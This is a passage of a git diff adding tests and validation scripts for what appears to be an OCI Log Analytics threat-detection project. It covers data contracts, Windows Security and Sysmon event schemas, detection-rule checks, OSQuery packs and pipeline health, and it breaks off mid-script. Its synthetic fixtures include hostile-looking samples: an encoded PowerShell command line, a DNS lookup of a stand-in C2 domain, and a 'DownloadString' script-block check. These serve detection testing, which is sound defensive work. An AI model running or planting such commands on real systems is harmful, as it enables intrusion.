contracts_path = Path(tmpdir) / "contracts.json" + contracts_path.write_text(json.dumps({ + "optional_bundle.jsonl": { + "required_fields": ["foo"], + "optional": True, + } + })) + + report = validate_all(test_data_dir=test_data_dir, contracts_path=contracts_path) + self.assertTrue(report["ok"]) + self.assertEqual(report["total_errors"], 0) + self.assertTrue(report["results"]["optional_bundle.jsonl"]["ok"]) + self.assertIn("skipped", report["results"]["optional_bundle.jsonl"]) + + def test_validate_all_rejects_generated_support_artifact_contract(self): + with tempfile.TemporaryDirectory() as tmpdir: + test_data_dir = Path(tmpdir) / "test_data" + test_data_dir.mkdir() + contracts_path = Path(tmpdir) / "contracts.json" + contracts_path.write_text(json.dumps({ + "sentinel_synthetic_plan.json": { + "required_fields": ["summary"] + } + })) + + report = validate_all(test_data_dir=test_data_dir, contracts_path=contracts_path) + + self.assertFalse(report["ok"]) + self.assertIn("sentinel_synthetic_plan.json", report["results"]) + self.assertEqual(report["total_errors"], 1) + self.assertTrue( + any( + "generated support artifact" in error + for error in report["results"]["sentinel_synthetic_plan.json"]["errors"] + ) + ) + + def test_find_uncovered_datasets_flags_dataset_without_contract(self): + with tempfile.TemporaryDirectory() as tmpdir: + test_data_dir = Path(tmpdir) + (test_data_dir / "covered.jsonl").write_text("{}\n") + (test_data_dir / "orphan.jsonl").write_text("{}\n") + contracts = {"covered.jsonl": {"required_fields": []}} + + uncovered = find_uncovered_datasets(test_data_dir, contracts) + self.assertEqual(uncovered, ["orphan.jsonl"]) + + def test_find_uncovered_datasets_skips_generated_support_artifacts(self): + with tempfile.TemporaryDirectory() as tmpdir: + test_data_dir = Path(tmpdir) + # manifest.json-style artifacts are .json, not .jsonl, so they are + # already excluded by the glob; assert a generated .jsonl-named + # support artifact (if any) is not mistaken for a dataset. + (test_data_dir / "real.jsonl").write_text("{}\n") + uncovered = find_uncovered_datasets(test_data_dir, {}) + self.assertEqual(uncovered, ["real.jsonl"]) + + def test_validate_all_coverage_gate_fails_on_uncovered_dataset(self): + with tempfile.TemporaryDirectory() as tmpdir: + test_data_dir = Path(tmpdir) / "test_data" + test_data_dir.mkdir() + (test_data_dir / "known.jsonl").write_text( + json.dumps({"foo": "bar"}) + "\n" + ) + (test_data_dir / "unregistered.jsonl").write_text( + json.dumps({"foo": "bar"}) + "\n" + ) + contracts_path = Path(tmpdir) / "contracts.json" + contracts_path.write_text(json.dumps({ + "known.jsonl": {"required_fields": ["foo"]} + })) + + report = validate_all(test_data_dir=test_data_dir, contracts_path=contracts_path) + self.assertFalse(report["ok"]) + self.assertIn("unregistered.jsonl", report["uncovered_datasets"]) + self.assertIn("unregistered.jsonl", report["results"]) + self.assertFalse(report["results"]["unregistered.jsonl"]["ok"]) + + def test_cloud_guard_instance_security_contract_is_registered(self): + contracts = load_contracts() + self.assertIn("cloud_guard_instance_security.jsonl", contracts) + contract = contracts["cloud_guard_instance_security.jsonl"] + self.assertIn("instanceOcid", contract["required_fields"]) + self.assertIn("osquery.sql", contract["required_nested_fields"]) + self.assertIn("pack.name", contract["required_nested_fields"]) + + def test_cloud_guard_instance_security_contract_validates_sample_record(self): + with tempfile.TemporaryDirectory() as tmpdir: + dataset = Path(tmpdir) / "cloud_guard_instance_security.jsonl" + record = { + "timestamp": "2026-06-09T19:07:09.188Z", + "message": "World-writable path /tmp has unexpected executable payload", + "hostname": "app-prod-02", + "instanceOcid": "ocid1.instance.oc1..examplecgis01", + "region": "us-ashburn-1", + "riskLevel": "HIGH", + "severity": "high", + "status": "open", + "findingId": "finding-cgis-001", + "findingName": "World-writable directory in sensitive path", + "problemId": "cgis-problem-001", + "ruleId": "cgis-rule-world_writable_paths", + "pack": {"name": "baseline-linux", "query_id": "world_writable_paths"}, + "osquery": {"query": "world_writable_paths", "sql": "SELECT path FROM file"}, + "mitre": {"technique_id": "T1222"}, + "logType": "cloud_guard_instance_security", + } + dataset.write_text("\n".join(json.dumps(record) for _ in range(4)) + "\n") + contract = load_contracts()["cloud_guard_instance_security.jsonl"] + self.assertEqual(validate_contract(dataset, contract), []) + + def test_web_to_cloud_network_contracts_are_registered(self): + contracts_path = Path(__file__).resolve().parents[1] / "config" / "synthetic_log_contracts.json" + + with contracts_path.open() as f: + contracts = json.load(f) + + self.assertIn("vcn_flow.jsonl", contracts) + self.assertIn("network_firewall.jsonl", contracts) + self.assertIn("data.srcaddr", contracts["vcn_flow.jsonl"]["required_nested_fields"]) + self.assertIn("data.bytesOut", contracts["vcn_flow.jsonl"]["required_nested_fields"]) + self.assertIn("logContent.data.src_ip", contracts["network_firewall.jsonl"]["required_nested_fields"]) + self.assertIn("logContent.data.threat_name", contracts["network_firewall.jsonl"]["required_nested_fields"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_caldera.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_caldera.py new file mode 100644 index 000000000..d070cf679 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_caldera.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python3 +"""Unit tests for the Caldera verification query contract.""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from oci_config import SOURCE_CANDIDATE_GROUPS +from verify_caldera_detections import build_log_source_clause, build_operation_queries + + +class TestVerifyCalderaQueries(unittest.TestCase): + """Ensure verification queries follow the runtime source-candidate model.""" + + def test_build_log_source_clause_includes_all_candidates(self): + clause = build_log_source_clause("windows_sysmon") + + self.assertTrue(clause.startswith("(")) + self.assertIn(" or ", clause) + for candidate in SOURCE_CANDIDATE_GROUPS["windows_sysmon"]: + self.assertIn(f"'Log Source' = '{candidate}'", clause) + + def test_discovery_queries_cover_soc_and_native_windows_sources(self): + queries = build_operation_queries("discovery") + + self.assertEqual(len(queries), 3) + for query in queries: + self.assertIn("'Command Line' like '*", query) + for candidate in SOURCE_CANDIDATE_GROUPS["windows_sysmon"]: + self.assertIn(candidate, query) + + def test_exfiltration_queries_use_sysmon_network_candidates(self): + query = build_operation_queries("exfiltration")[0] + + self.assertIn("'Query Name' like '*.*.*.*.*'", query) + for candidate in SOURCE_CANDIDATE_GROUPS["sysmon_network"]: + self.assertIn(candidate, query) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_deployed_dashboards.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_deployed_dashboards.py new file mode 100644 index 000000000..dca23d961 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_deployed_dashboards.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +"""Unit tests for deployed dashboard verification helpers.""" + +import os +import sys +import time +import unittest +from datetime import datetime, timezone +from types import SimpleNamespace + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from verify_deployed_dashboards import _run_query + + +class TestVerifyDeployedDashboards(unittest.TestCase): + def test_run_query_returns_row_count_for_success(self): + class StubClient: + query_details = None + + def query(self, namespace_name, query_details): + self.query_details = query_details + return SimpleNamespace(data=SimpleNamespace(items=[{"row": 1}, {"row": 2}])) + + stub = StubClient() + count, error = _run_query( + stub, + "demo-ns", + "'Log Source' = 'SOC Linux Syslog Logs'", + datetime.now(timezone.utc), + datetime.now(timezone.utc), + timeout=1, + ) + + self.assertEqual(count, 2) + self.assertIsNone(error) + self.assertTrue(stub.query_details.compartment_id_in_subtree) + + def test_run_query_returns_error_metadata_for_exceptions(self): + class StubClient: + def query(self, namespace_name, query_details): + raise RuntimeError("query failed") + + count, error = _run_query( + StubClient(), + "demo-ns", + "'Log Source' = 'SOC Linux Syslog Logs'", + datetime.now(timezone.utc), + datetime.now(timezone.utc), + timeout=1, + ) + + self.assertEqual(count, -1) + self.assertEqual(error, "query failed") + + def test_run_query_enforces_timeout(self): + class SlowClient: + def query(self, namespace_name, query_details): + time.sleep(2) + return SimpleNamespace(data=SimpleNamespace(items=[{"row": 1}])) + + count, error = _run_query( + SlowClient(), + "demo-ns", + "'Log Source' = 'SOC Linux Syslog Logs'", + datetime.now(timezone.utc), + datetime.now(timezone.utc), + timeout=1, + ) + + self.assertEqual(count, -1) + self.assertIn("query validation exceeded 1s", error) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_octo_apm_detection_rules.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_octo_apm_detection_rules.py new file mode 100644 index 000000000..94f2825ae --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_verify_octo_apm_detection_rules.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 +"""Tests for Octo APM detection-rule live verification.""" + +from __future__ import annotations + +import os +import sys +import unittest +from unittest.mock import patch + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +import verify_octo_apm_detection_rules as verifier + + +class TestVerifyOctoApmDetectionRules(unittest.TestCase): + def test_verify_detection_rules_marks_hits_misses_and_errors(self): + query_files = ["apps/rule-hit.json", "apps/rule-miss.json", "apps/rule-error.json"] + responses = [ + {"query_file": query_files[0], "ok": True, "rows": 1, "empty": False, "error": ""}, + {"query_file": query_files[1], "ok": True, "rows": 0, "empty": True, "error": ""}, + {"query_file": query_files[2], "ok": False, "rows": 0, "empty": False, "error": "bad field"}, + ] + + with patch.object(verifier, "DETECTION_RULE_QUERY_FILES", query_files), \ + patch.object(verifier, "get_la_client", return_value=object()), \ + patch.object(verifier, "get_namespace", return_value="ns"), \ + patch.object(verifier, "load_query_info", return_value={"query": "'Log Source' = 'SOC Application Logs'"}), \ + patch.object(verifier, "validate_query_in_oci", side_effect=responses): + results = verifier.verify_detection_rules("21d", 90) + + self.assertEqual([result["status"] for result in results], ["HIT", "MISS", "ERROR"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_audit_schema.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_audit_schema.py new file mode 100644 index 000000000..635336831 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_audit_schema.py @@ -0,0 +1,169 @@ +"""Tests for Windows Security + Sysmon schema split. + +Pins two distinct event shapes: + Security (Channel: Security, Provider: Microsoft-Windows-Security-Auditing) + Sysmon (Channel: Microsoft-Windows-Sysmon/Operational) + +Both include source-native PascalCase fields (what Windows emits) plus OCI +Log Analytics display-name parallel columns (what OCL queries reference). +""" + +import json +import sys +from pathlib import Path + +import pytest + +ROOT = Path(__file__).parent +sys.path.insert(0, str(ROOT)) + + +class TestWindowsSecuritySchema: + @pytest.fixture + def logon_failure(self): + from schemas.windows_audit_schema import build_windows_security_event + return build_windows_security_event( + 4625, + event_time="2026-04-24T12:00:00.000Z", + computer="DC01.test.local", + user="arya.stark", + target_user_name="admin", + source_address="203.0.113.1", + logon_type=10, + failure_reason="0xC000006D", + ) + + @pytest.fixture + def process_creation(self): + from schemas.windows_audit_schema import build_windows_security_event + return build_windows_security_event( + 4688, + event_time="2026-04-24T12:00:00.000Z", + computer="WS01.test.local", + user="eddard.stark", + new_process_name=r"C:\Windows\System32\powershell.exe", + command_line="powershell.exe -enc SQBFAFgA", + ) + + def test_security_channel_and_provider(self, logon_failure): + assert logon_failure["Channel"] == "Security" + assert logon_failure["Provider"] == "Microsoft-Windows-Security-Auditing" + + def test_security_core_fields(self, logon_failure): + required = {"EventID", "TimeCreated", "Computer", "User", "Channel", "Provider"} + assert required.issubset(logon_failure.keys()) + assert logon_failure["EventID"] == 4625 + + def test_security_native_pascalcase_fields(self, logon_failure): + # When the builder is called with snake_case kwargs, it must still + # emit the PascalCase field names that real Windows events use. + assert logon_failure["TargetUserName"] == "admin" + assert logon_failure["SourceAddress"] == "203.0.113.1" + assert logon_failure["LogonType"] == 10 + assert logon_failure["FailureReason"] == "0xC000006D" + + def test_security_ocl_display_columns(self, logon_failure): + required = { + "Log Source", "Event ID", "Host Name (Server)", "Host Name", + "User Name", "Target User Name", "Source IP", "Logon Type", + } + assert required.issubset(logon_failure.keys()) + assert logon_failure["Log Source"] == "Windows Security Events" + assert logon_failure["Event ID"] == 4625 + + def test_process_creation_name_fields(self, process_creation): + # Process name should appear under both native + display forms + assert process_creation["NewProcessName"].endswith("powershell.exe") + assert process_creation["Process Name"].endswith("powershell.exe") + assert process_creation["Command Line"].startswith("powershell.exe") + + def test_sysmon_fields_absent_from_security(self, logon_failure): + # Sysmon-only fields must not leak into Security events + for f in ("PipeName", "QueryName", "Hashes", "ParentImage"): + assert f not in logon_failure + + +class TestWindowsSysmonSchema: + @pytest.fixture + def pipe_create(self): + from schemas.windows_audit_schema import build_windows_sysmon_event + return build_windows_sysmon_event( + 17, + event_time="2026-04-24T12:00:00.000Z", + computer="SRV01.test.local", + user="eddard.stark", + image=r"C:\Windows\System32\svchost.exe", + pipe_name=r"\msagent_1234", + ) + + @pytest.fixture + def dns_query(self): + from schemas.windows_audit_schema import build_windows_sysmon_event + return build_windows_sysmon_event( + 22, + event_time="2026-04-24T12:00:00.000Z", + computer="WS01.test.local", + user="arya.stark", + image=r"C:\Windows\System32\svchost.exe", + query_name="evil-c2.example.invalid", + query_results="203.0.113.9", + ) + + def test_sysmon_channel_and_provider(self, pipe_create): + assert pipe_create["Channel"] == "Microsoft-Windows-Sysmon/Operational" + assert pipe_create["Provider"] == "Microsoft-Windows-Sysmon" + + def test_sysmon_utctime_field(self, pipe_create): + # Real Sysmon events include UtcTime; Security events do not + assert "UtcTime" in pipe_create + + def test_sysmon_native_fields(self, pipe_create, dns_query): + assert pipe_create["Image"].endswith("svchost.exe") + assert pipe_create["PipeName"] == r"\msagent_1234" + assert dns_query["QueryName"] == "evil-c2.example.invalid" + + def test_sysmon_ocl_display_columns(self, pipe_create, dns_query): + for evt in (pipe_create, dns_query): + required = { + "Log Source", "Event ID", "Host Name (Server)", + "User Name", "Process Name", + } + assert required.issubset(evt.keys()) + assert evt["Log Source"] == "Windows Sysmon Events" + assert pipe_create["Pipe Name"] == r"\msagent_1234" + assert dns_query["DNS Query"] == "evil-c2.example.invalid" + + +class TestGeneratedLogsSplit: + def test_security_file_only_has_security_events(self): + path = ROOT / "detection_logs" / "windows_security.jsonl" + if not path.exists(): + pytest.skip("windows_security.jsonl not generated yet") + events = [json.loads(l) for l in path.open()] + assert len(events) > 0 + for e in events: + assert e["Channel"] == "Security", \ + f"Non-security event leaked into windows_security.jsonl: EventID={e.get('EventID')}" + assert e["Provider"] == "Microsoft-Windows-Security-Auditing" + + def test_sysmon_file_only_has_sysmon_events(self): + path = ROOT / "detection_logs" / "windows_sysmon.jsonl" + if not path.exists(): + pytest.skip("windows_sysmon.jsonl not generated yet") + events = [json.loads(l) for l in path.open()] + assert len(events) > 0 + for e in events: + assert e["Channel"] == "Microsoft-Windows-Sysmon/Operational", \ + f"Non-sysmon event leaked into windows_sysmon.jsonl: EventID={e.get('EventID')}" + assert e["Provider"] == "Microsoft-Windows-Sysmon" + + def test_ocl_columns_on_every_event(self): + for filename in ("windows_security.jsonl", "windows_sysmon.jsonl"): + path = ROOT / "detection_logs" / filename + if not path.exists(): + continue + for e in (json.loads(l) for l in path.open()): + assert "Log Source" in e + assert "Event ID" in e + assert "Host Name (Server)" in e + assert "User Name" in e diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_event_log_ootb_rules.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_event_log_ootb_rules.py new file mode 100644 index 000000000..39fe0ead0 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_event_log_ootb_rules.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +"""Regression tests for Windows event-log OOTB detection expansion.""" + +from __future__ import annotations + +import json +import os +import sys +import unittest +from pathlib import Path + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +import field_dictionary +from generate_test_logs import ( + generate_windows_defender_operational, + generate_windows_event_security, + generate_windows_powershell_operational, +) + + +ROOT = Path(__file__).resolve().parents[1] +QUERIES_DIR = ROOT / "queries" + + +EXPECTED_OOTB_RULES = { + "windows_audit_policy_changed.json", + "windows_security_log_cleared_event.json", + "windows_scheduled_task_created_or_updated_event.json", + "windows_service_installed_event_log.json", + "windows_kerberos_pre_authentication_failures.json", + "windows_ntlm_authentication_failures.json", + "windows_admin_share_access_spike_event.json", + "windows_privileged_group_membership_change_event.json", + "windows_account_or_group_enumeration_spike.json", + "windows_powershell_script_block_suspicious_content.json", + "windows_defender_malware_or_remediation_event.json", + "sysmon_executable_file_created_or_detected.json", + "clickfix_fake_captcha_powershell_execution.json", +} + + +class TestWindowsEventLogOotbRules(unittest.TestCase): + def test_expected_query_files_exist_and_are_detection_surface(self): + missing = [ + filename + for filename in sorted(EXPECTED_OOTB_RULES) + if not (QUERIES_DIR / filename).exists() + ] + self.assertEqual(missing, []) + + for filename in sorted(EXPECTED_OOTB_RULES): + payload = json.loads((QUERIES_DIR / filename).read_text()) + self.assertIn("query", payload) + self.assertNotEqual(payload.get("type"), "hunting") + self.assertTrue(payload.get("mitre_attack", {}).get("techniques")) + self.assertTrue(payload.get("logsource", {}).get("candidates")) + + def test_query_fields_are_backed_by_generated_dictionary(self): + dictionary = field_dictionary.build_field_dictionary() + for filename in sorted(EXPECTED_OOTB_RULES): + payload = json.loads((QUERIES_DIR / filename).read_text()) + errors = field_dictionary.validate_query_field_coverage( + f"queries/{filename}", + payload, + dictionary, + ) + self.assertEqual(errors, []) + + def test_windows_security_parser_covers_pdf_driven_fields(self): + dictionary = field_dictionary.build_field_dictionary() + fields = { + field["display_name"] + for field in dictionary["fields"] + if any( + source["source_display"] == "Windows Event Security Logs" + for source in field.get("sources", []) + ) + } + self.assertTrue({ + "Access Mask", + "Failure Reason", + "Object Name", + "Relative Target Name", + "Service File Name", + "Share Name", + "Task Name", + }.issubset(fields)) + + def test_synthetic_event_streams_include_native_detection_events(self): + security_events = generate_windows_event_security() + powershell_events = generate_windows_powershell_operational() + defender_events = generate_windows_defender_operational() + + security_event_ids = { + str(event.get("Event ID") or event.get("EventID")) + for event in security_events + } + self.assertTrue({"4719", "4771", "4776", "5140", "5145", "4697", "4702"}.issubset(security_event_ids)) + + self.assertTrue(any( + str(event.get("Event ID") or event.get("EventID")) == "4104" + and "Script Block Text" in event + for event in powershell_events + )) + self.assertTrue(any( + str(event.get("Event ID") or event.get("EventID")) in {"1116", "1117", "5007"} + and "Threat Name" in event + for event in defender_events + )) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_eventlog_synthetic.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_eventlog_synthetic.py new file mode 100644 index 000000000..ce22b8456 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/test_windows_eventlog_synthetic.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python3 +"""Tests for official-shaped Windows Event Log synthetic generation.""" + +from __future__ import annotations + +import json +import os +import sys +import tempfile +import unittest +from pathlib import Path + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from windows_eventlog_synthetic import generate_all, validate_files, write_files + + +class TestWindowsEventLogSynthetic(unittest.TestCase): + def test_generates_expected_windows_eventlog_streams(self): + datasets = generate_all() + + self.assertEqual( + set(datasets), + { + "windows_event_security.jsonl", + "windows_event_system.jsonl", + "windows_powershell_operational.jsonl", + "windows_defender_operational.jsonl", + "sysmon_operational.jsonl", + }, + ) + self.assertGreaterEqual(len(datasets["windows_event_security.jsonl"]), 10) + + def test_records_preserve_official_event_envelope(self): + record = generate_all()["windows_event_security.jsonl"][0] + + self.assertIn("Event", record) + self.assertEqual(record["Event"]["System"]["Provider"]["Name"], "Microsoft-Windows-Security-Auditing") + self.assertEqual(record["Event"]["System"]["EventID"], str(record["EventID"])) + self.assertEqual( + record["Event"]["System"]["TimeCreated"]["SystemTime"], + record["TimeCreated"], + ) + event_data = record["Event"]["EventData"]["Data"] + self.assertTrue(event_data) + self.assertTrue(all({"Name", "#text"}.issubset(item) for item in event_data)) + + def test_parser_aliases_match_existing_log_analytics_queries(self): + datasets = generate_all() + security = [ + event for event in datasets["windows_event_security.jsonl"] + if str(event["EventID"]) == "4771" + ][0] + powershell = datasets["windows_powershell_operational.jsonl"][0] + defender = datasets["windows_defender_operational.jsonl"][0] + sysmon = datasets["sysmon_operational.jsonl"][0] + + self.assertEqual(security["Source Address"], "192.0.2.45") + self.assertEqual(security["Target User Name"], "sql_svc") + self.assertEqual(security["Failure Reason"], "0x18") + self.assertIn("DownloadString", powershell["Script Block Text"]) + self.assertEqual(defender["Threat Name"], "Trojan:Win32/Synthetic") + self.assertEqual(sysmon["Event ID"], 29) + self.assertTrue(sysmon["Target Filename"].endswith("synthetic-viewer.exe")) + + def test_write_and_validate_generated_files(self): + with tempfile.TemporaryDirectory() as tmpdir: + out_dir = Path(tmpdir) + counts = write_files(out_dir, generate_all()) + report = validate_files(out_dir) + + self.assertIn("windows_event_security.jsonl", counts) + self.assertTrue(os.path.exists(os.path.join(tmpdir, "manifest.json"))) + self.assertFalse(any(report.values()), json.dumps(report, indent=2)) + + +if __name__ == "__main__": + unittest.main() diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_cloud_guard_instance_security.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_cloud_guard_instance_security.py new file mode 100644 index 000000000..656fdb1e3 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_cloud_guard_instance_security.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +"""Validate Cloud Guard Instance Security source, parser, and synthetic contracts.""" + +from __future__ import annotations + +import json +import sys +from pathlib import Path + +PROJECT_DIR = Path(__file__).resolve().parent.parent +if str(PROJECT_DIR) not in sys.path: + sys.path.insert(0, str(PROJECT_DIR)) + +from scripts.field_dictionary import extract_query_fields # noqa: E402 +from scripts.generate_test_logs import generate_cloud_guard_instance_security_events # noqa: E402 +from scripts.oci_config import SOURCE_CANDIDATE_GROUPS # noqa: E402 +from scripts.setup_log_sources import CGIS_FIELD_MAPPINGS, CGIS_SOURCE_DISPLAY, OSQUERY_SOURCE_DISPLAY # noqa: E402 + +QUERY_FILES = [ + PROJECT_DIR / "queries" / "cloud_guard_instance_security_pack_coverage.json", + PROJECT_DIR / "queries" / "cloud_guard_instance_security_findings_by_host.json", + PROJECT_DIR / "queries" / "cloud_guard_instance_security_findings_by_pack_query.json", + PROJECT_DIR / "queries" / "cloud_guard_instance_security_high_severity_pivots.json", + PROJECT_DIR / "queries" / "cloud_guard_instance_security_instance_to_query_link.json", + PROJECT_DIR / "queries" / "cloud_guard_instance_security_raw_result_detail.json", +] + + +def main() -> int: + errors = [] + mapped_fields = {field for field, _path, _seq in CGIS_FIELD_MAPPINGS} + required_fields = { + "Host Name", + "Instance OCID", + "Pack Name", + "Pack Query ID", + "Finding Name", + "Finding Severity", + "Finding Status", + "OSQuery SQL", + "OSQuery Finding", + "Process Command Line", + } + missing = sorted(required_fields - mapped_fields) + if missing: + errors.append(f"CGIS parser missing fields: {', '.join(missing)}") + candidates = SOURCE_CANDIDATE_GROUPS.get("cloud_guard_instance_security", []) + if not candidates or candidates[0] != CGIS_SOURCE_DISPLAY or OSQUERY_SOURCE_DISPLAY not in candidates: + errors.append("cloud_guard_instance_security source candidate group is not ordered correctly") + events = generate_cloud_guard_instance_security_events() + if len(events) < 4: + errors.append("synthetic CGIS dataset must contain at least four findings") + for event in events: + if event.get("logType") != "cloud_guard_instance_security": + errors.append("synthetic CGIS event missing logType=cloud_guard_instance_security") + if not event.get("osquery", {}).get("sql"): + errors.append("synthetic CGIS event missing osquery.sql") + for path in QUERY_FILES: + payload = json.loads(path.read_text(encoding="utf-8")) + query = payload.get("query", "") + if CGIS_SOURCE_DISPLAY not in query: + errors.append(f"{path.name}: query does not target {CGIS_SOURCE_DISPLAY}") + unsupported = sorted(extract_query_fields(query) - mapped_fields - {"Log Source", "Count", "Time"}) + if unsupported: + errors.append(f"{path.name}: unsupported CGIS fields {unsupported}") + if errors: + for error in errors: + print(f"ERROR: {error}") + return 1 + print(f"Validated Cloud Guard Instance Security contract: {len(events)} synthetic events, {len(QUERY_FILES)} queries") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_osquery_packs.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_osquery_packs.py new file mode 100644 index 000000000..aaaecc708 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_osquery_packs.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +"""Validate OSQuery packs and emit the OCI migration bundle artifact.""" + +from __future__ import annotations + +import argparse +import json +from datetime import datetime, timezone +from pathlib import Path +from typing import Any + +PROJECT_DIR = Path(__file__).resolve().parent.parent +PACK_DIR = PROJECT_DIR / "config" / "osquery" / "packs" +DEFAULT_BUNDLE = PROJECT_DIR / "queries" / "osquery_pack_bundle.json" +REQUIRED_PACKS = { + "baseline-linux", + "baseline-windows", + "persistence", + "network-exposure", + "privilege-escalation", + "web-server-compromise", + "container-oke-host", + "malware-triage", +} + + +def load_packs(pack_dir: Path = PACK_DIR) -> list[dict[str, Any]]: + packs = [] + for path in sorted(pack_dir.glob("*.json")): + payload = json.loads(path.read_text(encoding="utf-8")) + payload["_path"] = path.relative_to(PROJECT_DIR).as_posix() + packs.append(payload) + return packs + + +def validate_packs(packs: list[dict[str, Any]]) -> list[str]: + errors = [] + names = {pack.get("name") for pack in packs} + missing = sorted(REQUIRED_PACKS - names) + if missing: + errors.append(f"missing required OSQuery pack(s): {', '.join(missing)}") + for pack in packs: + if not pack.get("name"): + errors.append(f"{pack.get('_path', '')}: missing pack name") + queries = pack.get("queries", []) + if not queries: + errors.append(f"{pack.get('name', '')}: pack has no queries") + for query in queries: + for key in ("id", "name", "sql", "expected_fields", "severity"): + if not query.get(key): + errors.append(f"{pack.get('name')}/{query.get('id', '')}: missing {key}") + if not str(query.get("sql", "")).lower().strip().startswith("select"): + errors.append(f"{pack.get('name')}/{query.get('id', '')}: sql must start with SELECT") + return errors + + +def build_bundle(packs: list[dict[str, Any]]) -> dict[str, Any]: + linked_detections = [ + "cloud_guard_instance_security_high_severity_pivots.json", + "cloud_guard_instance_security_findings_by_pack_query.json", + "cloud_guard_instance_security_raw_result_detail.json", + ] + return { + "version": "1.0", + "generated_at": datetime.now(timezone.utc).isoformat(), + "source": "config/osquery/packs", + "parser_paths": { + "cloud_guard_instance_security": "scripts/setup_log_sources.py:CGIS_FIELD_MAPPINGS", + "synthetic_dataset": "test_data/cloud_guard_instance_security.jsonl", + }, + "deployment_commands": [ + "python3 scripts/setup_log_sources.py --dry-run", + "python3 scripts/generate_test_logs.py", + "python3 scripts/ingest_test_data.py --file cloud_guard_instance_security.jsonl", + ], + "linked_detections": linked_detections, + "packs": [ + { + "name": pack["name"], + "platform": pack.get("platform", ""), + "description": pack.get("description", ""), + "path": pack.get("_path", ""), + "queries": pack.get("queries", []), + } + for pack in packs + ], + } + + +def main() -> int: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("--out", default=str(DEFAULT_BUNDLE)) + parser.add_argument("--validate-only", action="store_true") + args = parser.parse_args() + + packs = load_packs() + errors = validate_packs(packs) + if errors: + for error in errors: + print(f"ERROR: {error}") + return 1 + bundle = build_bundle(packs) + if not args.validate_only: + out_path = Path(args.out) + out_path.parent.mkdir(parents=True, exist_ok=True) + out_path.write_text(json.dumps(bundle, indent=2) + "\n", encoding="utf-8") + print(f"Wrote OSQuery bundle to {out_path}") + else: + print(f"Validated {len(packs)} OSQuery packs") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_pipeline.py b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_pipeline.py new file mode 100644 index 000000000..7dd587ca0 --- /dev/null +++ b/observability-and-management/assets/oci-log-analytics-detections/scripts/validate_pipeline.py @@ -0,0 +1,405 @@ +#!/usr/bin/env python3 +""" +Comprehensive health check for the OCI Streaming → Log Analytics pipeline. + +Checks: + 1. Config consistency — streaming_config.json vs env vars + 2. Streams ACTIVE — expected SOC streams exist and are ACTIVE + 3. Connectors ACTIVE — expected SCH connectors exist and are ACTIVE + 4. Log group exists — target log group is accessible + 5. Connector routing — each SCH targets the correct log group + log source + 6. E2E flow test — (optional) publish test message and verify delivery + +Usage: + python3 scripts/validate_pipeline.py # checks 1-5 (default) + python3 scripts/validate_pipeline.py --quick # check 1 only (offline) + python3 scripts/validate_pipeline.py --e2e # checks 1-6 (includes flow test) +""" + +import argparse +import base64 +import json +import os +import sys +import time + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from oci_config import ( + COMPARTMENT_ID, TENANCY_ID, PROJECT_DIR, + LOG_GROUP_ID, LA_NAMESPACE, LOG_GROUP_NAME, + _cfg, + get_la_client, get_oci_config, get_streaming_admin_client, get_sch_client, + get_namespace, require_oci_config, + CORE_SOC_STREAMS, get_expected_stream_names, +) +from oci_time import build_time_window + +STREAMING_CONFIG_PATH = os.path.join(PROJECT_DIR, 'config', 'streaming_config.json') + + +def _icon(ok): + return "OK" if ok else "FAIL" + + +def _expected_streams(): + """Return the currently expected SOC streams for pipeline validation.""" + return get_expected_stream_names() + + +# ─── Check 1: Config consistency (offline) ──────────────────── + +def check_config_consistency(): + """Verify streaming_config.json matches env vars.""" + print("\n[1] Config Consistency") + if not os.path.exists(STREAMING_CONFIG_PATH): + print(f" [{_icon(False)}] streaming_config.json not found") + print(f" Run: 